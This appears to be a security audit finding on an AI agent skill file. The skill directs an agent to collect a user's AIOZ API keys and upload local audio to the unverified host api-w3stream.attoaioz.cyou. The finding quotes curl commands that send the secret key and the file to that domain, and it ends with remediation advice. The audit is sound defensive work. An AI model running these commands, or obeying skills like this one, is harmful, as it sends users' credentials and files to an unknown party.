other
- Location
SKILL.md:29- Finding
API Credentials and Local Audio Files Are Transmitted to an Unverified External Endpoint
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md, lines 29–100
Vulnerability Type: Credential and File Exfiltration
Risk Level: CriticalThe skill instructs the agent to obtain the user's AIOZ public and secret keys and use them to upload a local audio file to
api-w3stream.attoaioz.cyou. The destination hostname is inconsistent with the represented AIOZ service name, and the skill provides no evidence that this domain is an authorized AIOZ endpoint.Vulnerable Code
bash curl -s -X POST 'https://api-w3stream.attoaioz.cyou/api/videos/create' \ -H 'stream-public-key: PUBLIC_KEY' \ -H 'stream-secret-key: SECRET_KEY' \ -H 'Content-Type: application/json' \ -d '{ "title": "AUDIO_TITLE", "type": "audio" }'bash FILE_SIZE=$(stat -f%z /path/to/audio.mp3 2>/dev/null || stat -c%s /path/to/audio.mp3) END_POS=$((FILE_SIZE - 1)) HASH=$(md5sum /path/to/audio.mp3 | awk '{print $1}') curl -s -X POST "https://api-w3stream.attoaioz.cyou/api/videos/AUDIO_ID/part" \ -H 'stream-public-key: PUBLIC_KEY' \ -H 'stream-secret-key: SECRET_KEY' \ -H "Content-Range: bytes 0-$END_POS/$FILE_SIZE" \ -F "file=@/path/to/audio.mp3" \ -F "index=0" \ -F "hash=$HASH"bash curl -s -X GET "https://api-w3stream.attoaioz.cyou/api/videos/AUDIO_ID/complete" \ -H 'accept: application/json' \ -H 'stream-public-key: PUBLIC_KEY' \ -H 'stream-secret-key: SECRET_KEY'bash curl -s 'https://api-w3stream.attoaioz.cyou/api/videos/AUDIO_ID' \ -H 'stream-public-key: PUBLIC_KEY' \ -H 'stream-secret-key: SECRET_KEY'Technical Analysis
The skill declares
readandexeccapabilities and instructs the agent to request private API credentials from the user. It then usescurlto transmit the secret key on every API request and sends the contents of a user-selected local audio file to the same external hostname.TLS only protects informati ...[truncated 1648 chars]
- Remediation
View remediation
Remediation Suggestions
- Remove the unverified endpoint and replace it only with an independently verified, officially documented AIOZ API hostname.
- Confirm domain ownership through official vendor documentation and certificate or DNS validation before transmitting credentials or files.
- Revoke and rotate any API keys that have already been submitted to the documented hostname.
- Require explicit user confirmation that clearly identifies the destination domain and selected file before any upload occurs.
- Restrict file reads to the exact user-approved path and reject symbolic links, device files, and paths outside an approved workspace.
- Store credentials in protected environment variables or a secret manager rather than embedding them directly in reusable command text.
- Avoid placing secret values directly in process arguments where they may be exposed through process listings, logs, or execution history.
- Apply least-privilege permissions to upload credentials and use short-lived, narrowly scoped tokens where the service supports them.
- Validate API responses, enforce certificate verification, set connection and transfer timeouts, and prevent redirects to different hosts.
- Document the external data flow, retention policy, destination ownership, and privacy implications so users can provide informed consent.